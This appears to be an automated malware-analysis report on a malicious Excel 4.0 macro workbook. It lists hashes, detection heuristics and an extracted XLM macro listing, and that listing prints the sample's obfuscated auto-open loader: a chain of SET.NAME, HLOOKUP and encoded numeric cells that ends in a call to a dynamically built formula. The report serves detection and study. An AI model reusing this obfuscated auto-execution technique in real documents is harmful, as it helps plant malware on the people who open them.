Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ec000469ee9a3215…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:38:36 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 5aa93211eb73e56d6d7ce46c7333d3db SHA-1: eeb61a31b07079e492b3f9755bf8f9a074bbedf9 SHA-256: ec000469ee9a32150789ae7dd75e10423250cf1606db22728547dc975d0fb512
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6694 bytes
SHA-256: dd5f58e6c781d3b9945928671037a8186cdbdeb84bcaa079330c2a5a811b7ac8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  YPkwd
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G125 
' 0018     27 LABEL : Cell Value, String Constant - BUjSFogHliWH len=0 
' 0018     26 LABEL : Cell Value, String Constant - dXEHgNmgmWL len=0 
' 0018     20 LABEL : Cell Value, String Constant - FwLeW len=0 
' 0018     24 LABEL : Cell Value, String Constant - gbYOkAfaM len=0 
' 0018     21 LABEL : Cell Value, String Constant - GDSeLv len=0 
' 0018     26 LABEL : Cell Value, String Constant - HFtdryGWMVt len=0 
' 0018     21 LABEL : Cell Value, String Constant - MeMCOw len=0 
' 0018     24 LABEL : Cell Value, String Constant - mlvsvPHYL len=0 
' 0018     23 LABEL : Cell Value, String Constant - NxEIKREE len=0 
' 0018     24 LABEL : Cell Value, String Constant - OgMHOfnQm len=0 
' 0018     27 LABEL : Cell Value, String Constant - RTKTtGaQAQYd len=0 
' 0018     27 LABEL : Cell Value, String Constant - RVsTuGPKZGpU len=0 
' 0018     20 LABEL : Cell Value, String Constant - tcqbA len=0 
' 0018     26 LABEL : Cell Value, String Constant - tLUTxMLWEdc len=0 
' 0018     23 LABEL : Cell Value, String Constant - tSGRvXQv len=0 
' 0018     25 LABEL : Cell Value, String Constant - XHdudDjAWa len=0 
' 0018     22 LABEL : Cell Value, String Constant - xPIwwSp len=0 
' 0018     25 LABEL : Cell Value, String Constant - yKNhHukhLb len=0 
' 0018     20 LABEL : Cell Value, String Constant - ytmHz len=0 
' 0018     25 LABEL : Cell Value, String Constant - yyOnMeNAVl len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  YPkwd,G43,"SET.NAME("tSGRvXQv",0+VALUE("0"))",""
'  YPkwd,G45,"SET.NAME("mlvsvPHYL",tSGRvXQv)",""
'  YPkwd,G47,"SET.NAME("OgMHOfnQm",tSGRvXQv)",""
'  YPkwd,G50,"SET.NAME("FwLeW",COUNTA(gbYOkAfaM))",""
'  YPkwd,G53,"SET.NAME("yyOnMeNAVl",COUNTA(GDSeLv))",""
'  YPkwd,G56,[],""
'  YPkwd,G60,"SET.NAME("XHdudDjAWa","")",""
'  YPkwd,G62,"mlvsvPHYL",""
'  YPkwd,G64,"SET.NAME("ytmHz",HLOOKUP("*",gbYOkAfaM,mlvsvPHYL,FALSE))",""
'  YPkwd,G68,"MeMCOw",""
'  YPkwd,T68,"",790.00000000000000000000
'  YPkwd,T69,"",-856.00000000000000000000
'  YPkwd,G70,"SET.NAME("yKNhHukhLb",tSGRvXQv)",""
'  YPkwd,T70,"",788.00000000000000000000
'  YPkwd,T71,"",521.00000000000000000000
'  YPkwd,T72,"",-818.00000000000000000000
'  YPkwd,T73,"",-943.00000000000000000000
'  YPkwd,G74,[],""
'  YPkwd,G76,"yKNhHukhLb",""
'  YPkwd,G79,"HFtdryGWMVt",""
'  YPkwd,G83,"RVsTuGPKZGpU",""
'  YPkwd,G87,"BUjSFogHliWH",""
'  YPkwd,G90,"SET.NAME("NxEIKREE",VALUE(HLOOKUP("*",GDSeLv,BUjSFogHliWH,FALSE)))",""
'  YPkwd,G94,"RTKTtGaQAQYd",""
'  YPkwd,G99,"XHdudDjAWa",""
'  YPkwd,G101,"OgMHOfnQm",""
'  YPkwd,G104,NEXT(),""
'  YPkwd,G107,"dXEHgNmgmWL",""
'  YPkwd,G110,[],""
'  YPkwd,G113,"xPIwwSp",""
'  YPkwd,G118,NEXT(),""
'  YPkwd,G122,RETURN(),""
'  YPkwd,G149,"SET.NAME("tLUTxMLWEdc",G43)",""
'  YPkwd,G154,"gbYOkAfaM",""
'  YPkwd,G156,"SET.NAME("GDSeLv",R42C14)",""
'  YPkwd,G161,"SET.NAME("xPIwwSp",168)",""
'  YPkwd,G163,"SET.NAME("tcqbA",7)",""
'  YPkwd,G167,tLUTxMLWEdc(),""
'  YPkwd,G168,HALT(),""

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